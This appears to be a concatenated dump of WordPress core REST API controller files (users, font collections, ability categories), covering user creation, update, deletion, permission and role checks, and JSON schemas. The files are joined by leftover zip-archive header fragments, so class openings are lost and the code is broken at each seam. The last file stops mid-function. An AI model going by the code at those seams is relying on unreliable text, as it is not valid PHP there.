return $result; } } else { $user_id = wp_insert_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } } $user = get_user_by( 'id', $user_id ); /** * Fires immediately after a user is created or updated via the REST API. * * @since 4.7.0 * * @param WP_User $user Inserted or updated user object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a user, false when updating. */ do_action( 'rest_insert_user', $user, $request, true ); if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) { array_map( array( $user, 'add_role' ), $request['roles'] ); } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $user_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $user = get_user_by( 'id', $user_id ); $fields_update = $this->update_additional_fields_for_object( $user, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a user is completely created or updated via the REST API. * * @since 5.0.0 * * @param WP_User $user Inserted or updated user object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a user, false when updating. */ do_action( 'rest_after_insert_user', $user, $request, true ); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) ); return $response; } /** * Checks if a given request has access to update a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } if ( ! empty( $request['roles'] ) ) { if ( ! current_user_can( 'promote_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_edit_roles', __( 'Sorry, you are not allowed to edit roles of this user.' ), array( 'status' => rest_authorization_required_code() ) ); } $request_params = array_keys( $request->get_params() ); sort( $request_params ); /* * If only 'id' and 'roles' are specified (we are only trying to * edit roles), then only the 'promote_user' cap is required. */ if ( array( 'id', 'roles' ) === $request_params ) { return true; } } if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $id = $user->ID; $owner_id = false; if ( is_string( $request['email'] ) ) { $owner_id = email_exists( $request['email'] ); } if ( $owner_id && $owner_id !== $id ) { return new WP_Error( 'rest_user_invalid_email', __( 'Invalid email address.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) { return new WP_Error( 'rest_user_invalid_argument', __( 'Username is not editable.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) { return new WP_Error( 'rest_user_invalid_slug', __( 'Invalid slug.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['roles'] ) ) { $check_permission = $this->check_role_update( $id, $request['roles'] ); if ( is_wp_error( $check_permission ) ) { return $check_permission; } } $user = $this->prepare_item_for_database( $request ); // Ensure we're operating on the same user we already checked. $user->ID = $id; $user_id = wp_update_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } $user = get_user_by( 'id', $user_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ do_action( 'rest_insert_user', $user, $request, false ); if ( ! empty( $request['roles'] ) ) { array_map( array( $user, 'add_role' ), $request['roles'] ); } $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $user = get_user_by( 'id', $user_id ); $fields_update = $this->update_additional_fields_for_object( $user, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ do_action( 'rest_after_insert_user', $user, $request, false ); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Checks if a given request has access to update the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_current_item_permissions_check( $request ) { $request['id'] = get_current_user_id(); return $this->update_item_permissions_check( $request ); } /** * Updates the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_current_item( $request ) { $request['id'] = get_current_user_id(); return $this->update_item( $request ); } /** * Checks if a given request has access delete a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_user', $user->ID ) ) { return new WP_Error( 'rest_user_cannot_delete', __( 'Sorry, you are not allowed to delete this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { // We don't support delete requests in multisite. if ( is_multisite() ) { return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 501 ) ); } $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $id = $user->ID; $reassign = false === $request['reassign'] ? null : absint( $request['reassign'] ); $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for users. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } if ( ! empty( $reassign ) ) { if ( $reassign === $id || ! get_userdata( $reassign ) ) { return new WP_Error( 'rest_user_invalid_reassign', __( 'Invalid user ID for reassignment.' ), array( 'status' => 400 ) ); } } $request->set_param( 'context', 'edit' ); $previous = $this->prepare_item_for_response( $user, $request ); // Include user admin functions to get access to wp_delete_user(). require_once ABSPATH . 'wp-admin/includes/user.php'; $result = wp_delete_user( $id, $reassign ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires immediately after a user is deleted via the REST API. * * @since 4.7.0 * * @param WP_User $user The user data. * @param WP_REST_Response $response The response returned from the API. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_user', $user, $response, $request ); return $response; } /** * Checks if a given request has access to delete the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_current_item_permissions_check( $request ) { $request['id'] = get_current_user_id(); return $this->delete_item_permissions_check( $request ); } /** * Deletes the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_current_item( $request ) { $request['id'] = get_current_user_id(); return $this->delete_item( $request ); } /** * Prepares a single user output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item User object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $user = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ return apply_filters( 'rest_prepare_user', new WP_REST_Response( array() ), $user, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = $user->ID; } if ( in_array( 'username', $fields, true ) ) { $data['username'] = $user->user_login; } if ( in_array( 'name', $fields, true ) ) { $data['name'] = $user->display_name; } if ( in_array( 'first_name', $fields, true ) ) { $data['first_name'] = $user->first_name; } if ( in_array( 'last_name', $fields, true ) ) { $data['last_name'] = $user->last_name; } if ( in_array( 'email', $fields, true ) ) { $data['email'] = $user->user_email; } if ( in_array( 'url', $fields, true ) ) { $data['url'] = $user->user_url; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $user->description; } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_author_posts_url( $user->ID, $user->user_nicename ); } if ( in_array( 'locale', $fields, true ) ) { $data['locale'] = get_user_locale( $user ); } if ( in_array( 'nickname', $fields, true ) ) { $data['nickname'] = $user->nickname; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $user->user_nicename; } if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) { // Defensively call array_values() to ensure an array is returned. $data['roles'] = array_values( $user->roles ); } if ( in_array( 'registered_date', $fields, true ) ) { $data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) ); } if ( in_array( 'capabilities', $fields, true ) ) { $data['capabilities'] = (object) $user->allcaps; } if ( in_array( 'extra_capabilities', $fields, true ) ) { $data['extra_capabilities'] = (object) $user->caps; } if ( in_array( 'avatar_urls', $fields, true ) ) { $data['avatar_urls'] = rest_get_avatar_urls( $user ); } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $user->ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'embed'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $user ) ); } /** * Filters user data returned from the REST API. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_User $user User object used to create response. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_user', $response, $user, $request ); } /** * Prepares links for the user request. * * @since 4.7.0 * * @param WP_User $user User object. * @return array Links for the given user. */ protected function prepare_links( $user ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); return $links; } /** * Prepares a single user for creation or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object User object. */ protected function prepare_item_for_database( $request ) { $prepared_user = new stdClass(); $schema = $this->get_item_schema(); // Required arguments. if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) { $prepared_user->user_email = $request['email']; } if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) { $prepared_user->user_login = $request['username']; } if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) { $prepared_user->user_pass = $request['password']; } // Optional arguments. if ( isset( $request['id'] ) ) { $prepared_user->ID = absint( $request['id'] ); } if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_user->display_name = $request['name']; } if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) { $prepared_user->first_name = $request['first_name']; } if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) { $prepared_user->last_name = $request['last_name']; } if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) { $prepared_user->nickname = $request['nickname']; } if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) { $prepared_user->user_nicename = $request['slug']; } if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) { $prepared_user->description = $request['description']; } if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) { $prepared_user->user_url = $request['url']; } if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) { $prepared_user->locale = $request['locale']; } // Setting roles will be handled outside of this function. if ( isset( $request['roles'] ) ) { $prepared_user->role = false; } /** * Filters user data before insertion via the REST API. * * @since 4.7.0 * * @param object $prepared_user User object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_user', $prepared_user, $request ); } /** * Determines if the current user is allowed to make the desired roles change. * * @since 4.7.0 * * @global WP_Roles $wp_roles WordPress role management object. * * @param int $user_id User ID. * @param array $roles New user roles. * @return true|WP_Error True if the current user is allowed to make the role change, * otherwise a WP_Error object. */ protected function check_role_update( $user_id, $roles ) { global $wp_roles; foreach ( $roles as $role ) { if ( ! isset( $wp_roles->role_objects[ $role ] ) ) { return new WP_Error( 'rest_user_invalid_role', /* translators: %s: Role key. */ sprintf( __( 'The role %s does not exist.' ), $role ), array( 'status' => 400 ) ); } $potential_role = $wp_roles->role_objects[ $role ]; /* * Don't let anyone with 'edit_users' (admins) edit their own role to something without it. * Multisite super admins can freely edit their blog roles -- they possess all caps. */ if ( ! ( is_multisite() && current_user_can( 'manage_sites' ) ) && get_current_user_id() === $user_id && ! $potential_role->has_cap( 'edit_users' ) ) { return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => rest_authorization_required_code() ) ); } // Include user admin functions to get access to get_editable_roles(). require_once ABSPATH . 'wp-admin/includes/user.php'; // The new role must be editable by the logged-in user. $editable_roles = get_editable_roles(); if ( empty( $editable_roles[ $role ] ) ) { return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => 403 ) ); } } return true; } /** * Check a username for the REST API. * * Performs a couple of checks like edit_user() in wp-admin/includes/user.php. * * @since 4.7.0 * * @param string $value The username submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized username, if valid, otherwise an error. */ public function check_username( $value, $request, $param ) { $username = (string) $value; if ( ! validate_username( $username ) ) { return new WP_Error( 'rest_user_invalid_username', __( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ), array( 'status' => 400 ) ); } /** This filter is documented in wp-includes/user.php */ $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() ); if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) { return new WP_Error( 'rest_user_invalid_username', __( 'Sorry, that username is not allowed.' ), array( 'status' => 400 ) ); } return $username; } /** * Check a user password for the REST API. * * Performs a couple of checks like edit_user() in wp-admin/includes/user.php. * * @since 4.7.0 * * @param string $value The password submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized password, if valid, otherwise an error. */ public function check_user_password( #[\SensitiveParameter] $value, $request, $param ) { $password = (string) $value; if ( empty( $password ) ) { return new WP_Error( 'rest_user_invalid_password', __( 'Passwords cannot be empty.' ), array( 'status' => 400 ) ); } if ( str_contains( $password, '\\' ) ) { return new WP_Error( 'rest_user_invalid_password', sprintf( /* translators: %s: The '\' character. */ __( 'Passwords cannot contain the "%s" character.' ), '\\' ), array( 'status' => 400 ) ); } return $password; } /** * Retrieves the user's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'user', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the user.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'username' => array( 'description' => __( 'Login name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'required' => true, 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_username' ), ), ), 'name' => array( 'description' => __( 'Display name for the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'first_name' => array( 'description' => __( 'First name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'last_name' => array( 'description' => __( 'Last name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'email' => array( 'description' => __( 'The email address for the user.' ), 'type' => 'string', 'format' => 'email', 'context' => array( 'edit' ), 'required' => true, ), 'url' => array( 'description' => __( 'URL of the user.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ), 'description' => array( 'description' => __( 'Description of the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'link' => array( 'description' => __( 'Author URL of the user.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'locale' => array( 'description' => __( 'Locale for the user.' ), 'type' => 'string', 'enum' => array_merge( array( '', 'en_US' ), get_available_languages() ), 'context' => array( 'edit' ), ), 'nickname' => array( 'description' => __( 'The nickname for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'registered_date' => array( 'description' => __( 'Registration date for the user.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'edit' ), 'readonly' => true, ), 'roles' => array( 'description' => __( 'Roles assigned to the user.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'edit' ), ), 'password' => array( 'description' => __( 'Password for the user (never included).' ), 'type' => 'string', 'context' => array(), // Password is never displayed. 'required' => true, 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_user_password' ), ), ), 'capabilities' => array( 'description' => __( 'All capabilities assigned to the user.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'extra_capabilities' => array( 'description' => __( 'Any extra capabilities assigned to the user.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), ), ); if ( get_option( 'show_avatars' ) ) { $avatar_properties = array(); $avatar_sizes = rest_get_avatar_sizes(); foreach ( $avatar_sizes as $size ) { $avatar_properties[ $size ] = array( /* translators: %d: Avatar image size in pixels. */ 'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ); } $schema['properties']['avatar_urls'] = array( 'description' => __( 'Avatar URLs for the user.' ), 'type' => 'object', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, 'properties' => $avatar_properties, ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'default' => 'asc', 'description' => __( 'Order sort attribute ascending or descending.' ), 'enum' => array( 'asc', 'desc' ), 'type' => 'string', ); $query_params['orderby'] = array( 'default' => 'name', 'description' => __( 'Sort collection by user attribute.' ), 'enum' => array( 'id', 'include', 'name', 'registered_date', 'slug', 'include_slugs', 'email', 'url', ), 'type' => 'string', ); $query_params['slug'] = array( 'description' => __( 'Limit result set to users with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['roles'] = array( 'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['capabilities'] = array( 'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['who'] = array( 'description' => __( 'Limit result set to users who are considered authors.' ), 'type' => 'string', 'enum' => array( 'authors', ), ); $query_params['has_published_posts'] = array( 'description' => __( 'Limit result set to users who have published posts.' ), 'type' => array( 'boolean', 'array' ), 'items' => array( 'type' => 'string', 'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ), ), ); $query_params['search_columns'] = array( 'default' => array(), 'description' => __( 'Array of column names to be searched.' ), 'type' => 'array', 'items' => array( 'enum' => array( 'email', 'name', 'id', 'username', 'slug' ), 'type' => 'string', ), ); /** * Filters REST API collection parameters for the users controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_User_Query parameter. Use the * `rest_user_query` filter to set WP_User_Query arguments. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_user_collection_params', $query_params ); } } PK! i-))-class-wp-rest-font-collections-controller.phpnu[rest_base = 'font-collections'; $this->namespace = 'wp/v2'; } /** * Registers the routes for the objects of the controller. * * @since 6.5.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\/\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Gets the font collections available. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $collections_all = WP_Font_Library::get_instance()->get_font_collections(); $page = $request['page']; $per_page = $request['per_page']; $total_items = count( $collections_all ); $max_pages = (int) ceil( $total_items / $per_page ); if ( $page > $max_pages && $total_items > 0 ) { return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page ); $is_head_request = $request->is_method( 'HEAD' ); $items = array(); foreach ( $collections_page as $collection ) { $item = $this->prepare_item_for_response( $collection, $request ); // If there's an error loading a collection, skip it and continue loading valid collections. if ( is_wp_error( $item ) ) { continue; } /* * Skip preparing the response body for HEAD requests. * Cannot exit earlier due to backward compatibility reasons, * as validation occurs in the prepare_item_for_response method. */ if ( $is_head_request ) { continue; } $item = $this->prepare_response_for_collection( $item ); $items[] = $item; } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $items ); $response->header( 'X-WP-Total', (int) $total_items ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $collection_url = rest_url( $this->namespace . '/' . $this->rest_base ); $base = add_query_arg( urlencode_deep( $request_params ), $collection_url ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Gets a font collection. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $slug = $request->get_param( 'slug' ); $collection = WP_Font_Library::get_instance()->get_font_collection( $slug ); if ( ! $collection ) { return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $collection, $request ); } /** * Prepare a single collection output for response. * * @since 6.5.0 * * @param WP_Font_Collection $item Font collection object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $item->slug; } // If any data fields are requested, get the collection data. $data_fields = array( 'name', 'description', 'font_families', 'categories' ); if ( ! empty( array_intersect( $fields, $data_fields ) ) ) { $collection_data = $item->get_data(); if ( is_wp_error( $collection_data ) ) { $collection_data->add_data( array( 'status' => 500 ) ); return $collection_data; } /** * Don't prepare the response body for HEAD requests. * Can't exit at the beginning of the method due to the potential need to return a WP_Error object. */ if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */ return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request ); } foreach ( $data_fields as $field ) { if ( rest_is_field_included( $field, $fields ) ) { $data[ $field ] = $collection_data[ $field ]; } } } /** * Don't prepare the response body for HEAD requests. * Can't exit at the beginning of the method due to the potential need to return a WP_Error object. */ if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */ return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request ); } $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $response->data = $this->add_additional_fields_to_object( $response->data, $request ); $response->data = $this->filter_response_by_context( $response->data, $context ); /** * Filters the font collection data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Font_Collection $item The font collection object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_font_collection', $response, $item, $request ); } /** * Retrieves the font collection's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'font-collection', 'type' => 'object', 'properties' => array( 'slug' => array( 'description' => __( 'Unique identifier for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The name for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The description for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'font_families' => array( 'description' => __( 'The font families for the font collection.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( 'The categories for the font collection.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Prepares links for the request. * * @since 6.5.0 * * @param WP_Font_Collection $collection Font collection data * @return array Links for the given font collection. */ protected function prepare_links( $collection ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); } /** * Retrieves the search params for the font collections. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) ); unset( $query_params['search'] ); /** * Filters REST API collection parameters for the font collections controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_font_collections_collection_params', $query_params ); } /** * Checks whether the user has permissions to use the Fonts Collections. * * @since 6.5.0 * * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_theme_options' ) ) { return true; } return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font collections.' ), array( 'status' => rest_authorization_required_code(), ) ); } } PK!k4class-wp-rest-abilities-v1-categories-controller.phpnu[namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9]+(?:-[a-z0-9]+)*)', array( 'args' => array( 'slug' => array( 'description' => __( 'Unique identifier for the ability category.' ), 'type' => 'string', 'pattern' => '^[a-z0-9]+(?:-[a-z0-9]+)*$', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Retrieves all ability categories. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { $categories = wp_get_ability_categories(); $page = $request['page']; $per_page = $request['per_page']; $offset = ( $page - 1 ) * $per_page; $total_categories = count( $categories ); $max_pages = (int) ceil( $total_categories / $per_page ); if ( $request->get_method() === 'HEAD' ) { $response = new WP_REST_Response( array() ); } else { $categories = array_slice( $categories, 